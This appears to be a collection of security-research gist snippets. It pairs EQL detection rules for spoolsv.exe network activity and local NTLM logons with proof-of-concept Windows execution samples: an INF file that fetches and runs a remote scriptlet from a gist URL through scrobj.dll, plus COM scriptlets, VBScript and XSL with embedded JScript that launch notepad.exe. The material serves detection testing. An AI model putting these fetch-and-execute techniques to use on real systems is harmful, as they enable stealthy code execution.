Samirbous

sequence by host.hostname with maxspan=1m
  [network where network.direction : ("egress", "outgoing") and 
   process.name != "spoolsv.exe" and not network.protocol == "dns" and not user.name : "SYSTEM" and
   source.port >= 49152 and destination.port >= 49152] by destination.address,source.address, destination.port, source.port
  [network where process.name : "spoolsv.exe" and user.name : "SYSTEM" and
   network.direction : ("ingress", "incoming") and
   not network.protocol == "dns" and
   source.port >= 49152 and destination.port >= 49152] by source.address, destination.address, destination.port, source.port

Samirbous

sequence by host.id with maxspan=1m
 [authentication where event.action : "logged-in" and 
  event.outcome == "success" and user.id: "S-1-5-21-*" and 
  process.pid == 0 and 
  winlog.event_data.LogonProcessName:"NtLmSsp*"and 
  winlog.event_data.LogonType == 3 and source.ip == "127.0.0.1"] by winlog.event_data.TargetLogonId 
 [process where event.type == "start"] by winlog.event_data.TargetLogonId

Samirbous

[version]
signature=$WiNdows NT$
[DefaultInstall_SingleUser]
UnRegisterOCXs=D9AB
[D9AB]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/Samirbous/f581143f7ce4c3697f31d8780c1c45c6/raw/054f3af511b37dae556789161bbea1ad222b5f65/notepad.sct
[Strings]
serviceName=" "
shortSvcName=" "

Samirbous

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"   
	>
</registration>

Samirbous

Dim shl  
    Set shl = CreateObject("Wscript.Shell")  
    Call shl.Run("notepad.exe")  
    Set shl = Nothing  
    WScript.Quit 

Samirbous

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
	>

Samirbous

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
  <ms:script implements-prefix="user" language="Jscript">
  <![CDATA[
  var x = new ActiveXObject("WScript.Shell").Run("notepad.exe");
  ]]></ms:script>